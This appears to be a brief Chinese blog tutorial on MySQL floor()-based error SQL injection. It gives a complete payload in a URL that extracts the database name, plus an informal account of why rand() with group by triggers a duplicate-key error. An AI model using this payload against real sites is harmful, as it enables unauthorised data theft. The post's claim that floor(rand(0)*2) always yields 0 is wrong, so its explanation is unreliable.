标签:ges style mysq href ext span alt image info
完整的payload:
http://www.xishaonian.cn/sql.php?id=1+and(select 1 from(select count(*),concat((select (select (select concat(0x7e,database(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
简化后:select count(*),(floor(rand(0)*2))x from table order by x;
MYSQL官方文档指出rand和group by不能一起用,为啥不能够一起用呢?因为一个是随机的一个是排序的。你咋让随机的进行排序呢。是吧。所以是不行滴。floor注入也就是主要利用这一点。
(floor(rand(0)*2))x :
图一:
那么都分析了还有一个count(*)还没分析呢。
count和group by 合在一起用就会建立一个虚拟表,来数(shǔ)数(shù)。
大概的虚拟表如下所示(其中key是主键,是不可以重复的):
他首先会在自己内部自己创建一个虚拟的表,1代表有,0代表无。一、二、三、四、五.....如此数下去。数到最后也就0的就会结束。
(floor(rand()*2));出现的是0和1随机出现的,但(floor(rand(0)*2))出现的则是固定的为0
一篇相似的文章:http://www.2cto.com/article/201604/498394.html
标签:ges style mysq href ext span alt image info
原文地址:http://www.cnblogs.com/xishaonian/p/6227405.html